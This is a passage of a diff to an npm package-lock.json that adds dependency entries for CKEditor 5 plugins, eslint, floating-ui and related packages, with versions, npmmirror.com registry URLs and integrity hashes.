"sha512-MKN4rEeq/RWi+++dLBIA/b9tacEd7pnFM8mewLDsehT1RPvWPeGy2e5dN6ugi5zn3It7UcIdkCQE7GLmsLGGBA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-font": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-font/-/ckeditor5-font-43.2.0.tgz", + "integrity": "sha512-3BUhy3AtB+SGiLA3ZsX3+JAhD7KmexEwfGKgrX4kDs9iMOg7xVXXHbdeJGEGV8oJc4hNgp34lt3lpFtCApBNgw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-heading": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-heading/-/ckeditor5-heading-43.2.0.tgz", + "integrity": "sha512-nGvzMYN+2SRHxe99YhFwRpqw44W2lHbFNuWp0YiV3iYSgpQPwATFFpLXvyOMXOKY4dcob2KiDcogfWVoFxmMdQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-paragraph": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-highlight": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-highlight/-/ckeditor5-highlight-43.2.0.tgz", + "integrity": "sha512-9zhf80TyheMxUXXScjSstVUAZMjeDs/SCbhWYwFR/ZZN3Vyhp7kD+WhyyezueHQLyPNiLZNzer7LQ/MB3b+8Lg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-horizontal-line": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-horizontal-line/-/ckeditor5-horizontal-line-43.2.0.tgz", + "integrity": "sha512-d92LsTiOSsHEHeQbWJz5xqj+yYRbo1xiz2bix0cN1BoEsm6iEFJKUPewvh48cISdkw5RPKfDrfzbiBCDZsMlEw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-html-embed": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-html-embed/-/ckeditor5-html-embed-43.2.0.tgz", + "integrity": "sha512-F55r0UQy53cKlWWGRcYTjrYpQd86jkHEqk901uC0FJdBwpLqV6ZDxCb+w5dMQ6cUh5oYKuILeu0ZZ0KF1C+HQA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-html-support": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-html-support/-/ckeditor5-html-support-43.2.0.tgz", + "integrity": "sha512-VOjT73VbtiBLy/Qsn9aWib9LhkfXZSbfAHSttIsW3Y8v2am827uf4dL2Y2pop3pcXJdoB+LVGiTFdk1mBDvAFg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-enter": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-image": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-image/-/ckeditor5-image-43.2.0.tgz", + "integrity": "sha512-UZVd9sZ9nuG3kZUUUgXzqTkT7YSZs4wvu98NuSgBC3T6l0UlJjdf//GQa1estxNDDc+yCjRk02u+sbHW+eUY0A==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-undo": "43.2.0", + "@ckeditor/ckeditor5-upload": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-indent": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-indent/-/ckeditor5-indent-43.2.0.tgz", + "integrity": "sha512-hzqAXOlxblaWNQ9eAGP/30kMLk+mMPES2/02B6QmI/CSYgwhXK1FVSTfZN0u6Cw94lWQ+EJr7riP2LCc85Rvfw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-integrations-common": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-integrations-common/-/ckeditor5-integrations-common-2.1.0.tgz", + "integrity": "sha512-vn6qMb36sl6eSCc27dvThk6xISif59MxnxZmRBC440TyP7S9ZcS0ai4yHd5QyaH70ZIe0lhS7DWdLaiKtBggVQ==", + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "ckeditor5": ">=42.0.0 || ^0.0.0-nightly" + } + }, + "node_modules/@ckeditor/ckeditor5-language": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-language/-/ckeditor5-language-43.2.0.tgz", + "integrity": "sha512-NSL9E0ROyffTHGKyIpqD27NclOXDhAFO8L9Z9kghqESNsCdOZJKKme+EK376r5gWHsiBNnKZ/5yQOUrGwATtuw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-link": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-link/-/ckeditor5-link-43.2.0.tgz", + "integrity": "sha512-PyU3bPyCzvNEp/7Hwx4oxuPSRN7ptaDuBe+Jhlz70PWegtANOUPvMIYlcZBB2E20Ruo0ukvrRRR0teqqFKHLug==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-list": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-list/-/ckeditor5-list-43.2.0.tgz", + "integrity": "sha512-HljK5Ew3fgPX/FYiK0ieuGIrjCqiNeVG825UaAeuRHkNm1QgCBF0xQ1fsaiJw7/lTXfPA5KhzD3ezEwI1qWytQ==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-enter": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-markdown-gfm": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-markdown-gfm/-/ckeditor5-markdown-gfm-43.2.0.tgz", + "integrity": "sha512-TJklEGxL7tTm8OfLFAEWDsKRD4TxgSbai45CvuXNuoSnwcUWsXYhsBT8kUD2zAv8zTlh7gy3tFnuhKnLu157uQ==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "ckeditor5": "43.2.0", + "marked": "4.0.12", + "turndown": "7.2.0", + "turndown-plugin-gfm": "1.0.2" + } + }, + "node_modules/@ckeditor/ckeditor5-media-embed": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-media-embed/-/ckeditor5-media-embed-43.2.0.tgz", + "integrity": "sha512-N+MJUAC7+KPi3CaplVGLmA26W2GEFEukKxKDpjDbpBBgDgwyrJlpfFIOWIvrk+6J1QOwS4yMU+H+1aGypIgd+Q==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-undo": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-mention": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-mention/-/ckeditor5-mention-43.2.0.tgz", + "integrity": "sha512-psEgMErFg6cKdEh2cM02tB/s7QJz+g5LlXCQ0k6OaNa/V7zO/qcT/pChrZ/13Mu2dgRKZqBUeeAG4aUXHN7QFQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-minimap": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-minimap/-/ckeditor5-minimap-43.2.0.tgz", + "integrity": "sha512-rKECbba7QZtb8Kg5znYSez3y63RfX+19TvMvRwmiNw1aiNluyG04ykC0BBvejavO8Kz/EuNrliNMM3h44Og6jg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-page-break": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-page-break/-/ckeditor5-page-break-43.2.0.tgz", + "integrity": "sha512-ukHpucDP0hskHEV1ql9G55dFiNCamI87vuHdLvEy0x/Th89C2ITswxfQAxMbZb1W0Vg93eMKyYf8pbg+YvcjwQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-paragraph": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-paragraph/-/ckeditor5-paragraph-43.2.0.tgz", + "integrity": "sha512-Gi7Plu75rlwiV55K1V06iVdPAGOn1FKX2JPgK+eTfYe2uZeJlJWkjvkl8x32IxJxT9Z8V1yECcg/I8A0J4IdlA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-paste-from-office": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-paste-from-office/-/ckeditor5-paste-from-office-43.2.0.tgz", + "integrity": "sha512-+jPVd79p1oyuIcW5Pq4LsxAN5ZxjtJaasx2flGi9mLMFaLxnO/JteFs0rH7BAavURrxdhvXuIosYMGfPWleGLw==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-remove-format": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-remove-format/-/ckeditor5-remove-format-43.2.0.tgz", + "integrity": "sha512-BrtlTWrvg4hcbPvTck9bqIVtDfbanPYGvh+qf3NCX4USxqzAs+zz3tT105JUAY0FF0Qngcvjz6gTfTTwXom//g==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-restricted-editing": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-restricted-editing/-/ckeditor5-restricted-editing-43.2.0.tgz", + "integrity": "sha512-RKYLNbbKks0O6axiE0acYOq5IAdtRGhCC557szUSzFZsGh31LHRPxa7ZpwjKuuefUp4uI11HzFyXXBQfykdnDQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-select-all": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-select-all/-/ckeditor5-select-all-43.2.0.tgz", + "integrity": "sha512-wHFKg/7UsxmR6YBKZnF+4kS8m0cDe+r4IotVcnJcxDRpIuHDNlROKohdMrKdBl6I++6nwvkD3da0Dsxd9gJ8Sw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-show-blocks": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-show-blocks/-/ckeditor5-show-blocks-43.2.0.tgz", + "integrity": "sha512-VFXRvDRZvTX+t+lUxdK6sGPy/Lqu5h2OIYnTHykknwwySunOH1gCUjo1iVs0mrCKLwhmcp8fOeQjjdL811xcXQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-source-editing": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-source-editing/-/ckeditor5-source-editing-43.2.0.tgz", + "integrity": "sha512-b8/PGBybNp//2thS2Objsl7Q+YZ7JHhVZhqH2T27cEIkFlMOag5lfA0Rpz8ClrNxY4MDu/0ArHyjFG8TkjPkvA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-theme-lark": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-special-characters": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-special-characters/-/ckeditor5-special-characters-43.2.0.tgz", + "integrity": "sha512-VHe2MHFUwxFMSo/RKDqLF18dobaIMQoGnMWqZtWi5maQ1xs/l1Mo0Ohh+tdFYCQq97lNuZ4Z3z/FravZAlqV7A==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-style": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-style/-/ckeditor5-style-43.2.0.tgz", + "integrity": "sha512-24Gk9iWOtiN1YaJh24QNSjafFMeidmW6NbtaldVibLKwJRFD2oNXvqccSGztj/+cv0FLK8rK1KHFYcm4WSCT3w==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-table": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-table/-/ckeditor5-table-43.2.0.tgz", + "integrity": "sha512-sIA1Ik8shdrsy2sgDXLX7uZgPuNTEgZ0/H9/aKDX7cg8Z+vQozhElHb1H17oC5a1qoxwQF+qt8FoLgtguZ5gDQ==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-theme-lark": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-theme-lark/-/ckeditor5-theme-lark-43.2.0.tgz", + "integrity": "sha512-K6KH0Wakzuf43XFmLN49qu1svwpb2FDP/wM+Vo+UolI3krRRxr6uTXQ9D3O8S4ckMJhwcrVRerBHtlZst0dXew==", + "dependencies": { + "@ckeditor/ckeditor5-ui": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-typing": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-typing/-/ckeditor5-typing-43.2.0.tgz", + "integrity": "sha512-IfuEYE9PonfxNe6RENtMIRqeN/ytX64781EVVhVl5FOebNFGKHscw+j0cCrqDGPGq7yVVvehEdCrl2xAXy+gyw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-ui": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-ui/-/ckeditor5-ui-43.2.0.tgz", + "integrity": "sha512-sGWW4tqGvs7VvZJHZG2qLYBV3+fU4yLiZcLLG6zDU+RrK6rS2cndspjyBIDj94gdFA2tEXqMkteZeEekPrtLIw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "color-convert": "2.0.1", + "color-parse": "1.4.2", + "lodash-es": "4.17.21", + "vanilla-colorful": "0.7.2" + } + }, + "node_modules/@ckeditor/ckeditor5-undo": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-undo/-/ckeditor5-undo-43.2.0.tgz", + "integrity": "sha512-BXApTSSicRIeKReYt3mla9IQfEpgSOFJjtC0jvHbfsVcC9xvo6B0Fxu9DhTzkXFasZtZvCdOqPCSF3oulqJGxQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-upload": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-upload/-/ckeditor5-upload-43.2.0.tgz", + "integrity": "sha512-KPyXPCFTKQxjuwmyk3vgUoXTuBJctH4U67LdarsplwszOOS0Ho89bExY3VOQ5aGB7y7mk4oOS9tSKWyt64ASIg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-utils": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-utils/-/ckeditor5-utils-43.2.0.tgz", + "integrity": "sha512-0Q2Yj22+a2lcj+YHqe7JOmJANVjmDqAGOwjfYRUoZGXefb6yuEzEpzDin4rU/Msrnll1KrH+mD73HSxUgmgi1Q==", + "dependencies": { + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-vue": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-vue/-/ckeditor5-vue-7.2.0.tgz", + "integrity": "sha512-Q0BG7ie2YAH3ZhTK2rCGCGR1aeZGBzpoq1gl8Omp6o8b6qqvEt0T03Pps2N/+fa1OihR9Uf1NAWE0l8Zp9vOLg==", + "dependencies": { + "@ckeditor/ckeditor5-integrations-common": "^2.1.0", + "lodash-es": "^4.17.21" + }, + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "ckeditor5": ">=42.0.0 || ^0.0.0-nightly", + "vue": "^3.4.0" + } + }, + "node_modules/@ckeditor/ckeditor5-watchdog": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-watchdog/-/ckeditor5-watchdog-43.2.0.tgz", + "integrity": "sha512-hQ6+8uGJekGkPiAW6+DzhvJNXzo7SKaS+rRcI7ERm9O6CSP/vFyc77uw5Y1SDr1PlzF/bdWksEv5zqxiebQW0Q==", + "dependencies": { + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-widget": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-widget/-/ckeditor5-widget-43.2.0.tgz", + "integrity": "sha512-qWyh4ZRvEmz+prHSx+oIaEIqS4jO1UcCFgmC/cuVp3jSXovBgbkSK1G8FqNdf+JHjc2hrZnfKm3Tb4N8OmEbLg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-enter": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-word-count": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-word-count/-/ckeditor5-word-count-43.2.0.tgz", + "integrity": "sha512-gp9hHmOGStvA6wpSY4h0LwqTGYSdMRZ8/8XnUFHQ4QiKirejzmHA9K2lWL4grqCTZh5sfO7ZzaX1mx/QctpFxw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ctrl/tinycolor": { + "version": "3.6.1", + "resolved": "https://registry.npmmirror.com/@ctrl/tinycolor/-/tinycolor-3.6.1.tgz", + "integrity": "sha512-SITSV6aIXsuVNV3f3O0f2n/cgyEDWoSqtZMYiAmcsYHydcKrOz3gUxB/iXd/Qf08+IZX4KpgNbvUdMBmWz+kcA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@discoveryjs/json-ext": { + "version": "0.5.7", + "resolved": "https://registry.npmmirror.com/@discoveryjs/json-ext/-/json-ext-0.5.7.tgz", + "integrity": "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==", + "dev": true, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/@element-plus/icons-vue": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/@element-plus/icons-vue/-/icons-vue-2.3.1.tgz", + "integrity": "sha512-XxVUZv48RZAd87ucGS48jPf6pKu0yV5UCg9f4FFwtrYxXOwWuVJo6wOvSLKEoMQKjv8GsX/mhP6UsC1lRwbUWg==", + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "0.4.3", + "resolved": "https://registry.npmmirror.com/@eslint/eslintrc/-/eslintrc-0.4.3.tgz", + "integrity": "sha512-J6KFFz5QCYUJq3pf0mjEcCJVERbzv71PUIDczuh9JkwGEzced6CO5ADLHB1rbf/+oPBtoPfMYNOpGDzCANlbXw==", + "dev": true, + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.1.1", + "espree": "^7.3.0", + "globals": "^13.9.0", + "ignore": "^4.0.6", + "import-fresh": "^3.2.1", + "js-yaml": "^3.13.1", + "minimatch": "^3.0.4", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/@eslint/eslintrc/node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmmirror.com/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@eslint/eslintrc/node_modules/ignore": { + "version": "4.0.6", + "resolved": "https://registry.npmmirror.com/ignore/-/ignore-4.0.6.tgz", + "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/@eslint/eslintrc/node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.6.8", + "resolved": "https://registry.npmmirror.com/@floating-ui/core/-/core-1.6.8.tgz", + "integrity": "sha512-7XJ9cPU+yI2QeLS+FCSlqNFZJq8arvswefkZrYI1yQBbftw6FyrZOxYSh+9S7z7TpeWlRt9zJ5IhM1WIL334jA==", + "dependencies": { + "@floating-ui/utils": "^0.2.8" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.6.12", + "resolved": "https://registry.npmmirror.com/@floating-ui/dom/-/dom-1.6.12.tgz", + "integrity": "sha512-NP83c0HjokcGVEMeoStg317VD9W7eDlGK7457dMBANbKA6GJZdc7rjujdgqzTaz93jkGgc5P/jeWbaCHnMNc+w==", + "dependencies": { + "@floating-ui/core": "^1.6.0", + "@floating-ui/utils": "^0.2.8" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.8", + "resolved": "https://registry.npmmirror.com/@floating-ui/utils/-/utils-0.2.8.tgz", + "integrity": "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig==" + }, + "node_modules/@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmmirror.com/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", + "dev": true + }, + "node_modules/@hapi/topo": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/@hapi/topo/-/topo-5.1.0.tgz", + "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", + "dev": true, + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.5.0", + "resolved": "https://registry.npmmirror.com/@humanwhocodes/config-array/-/config-array-0.5.0.tgz", + "integrity": "sha512-FagtKFz74XrTl7y6HCzQpwDfXP0yhxe9lHLD1UZxjvZIcbyRz8zTFF/yYNfSfzU414eDwZ1SrO0Qvtyf+wFMQg==", + "deprecated": "Use @eslint/config-array instead", + "dev": true, + "dependencies": { + "@humanwhocodes/object-schema": "^1.2.0", + "debug": "^4.1.1", + 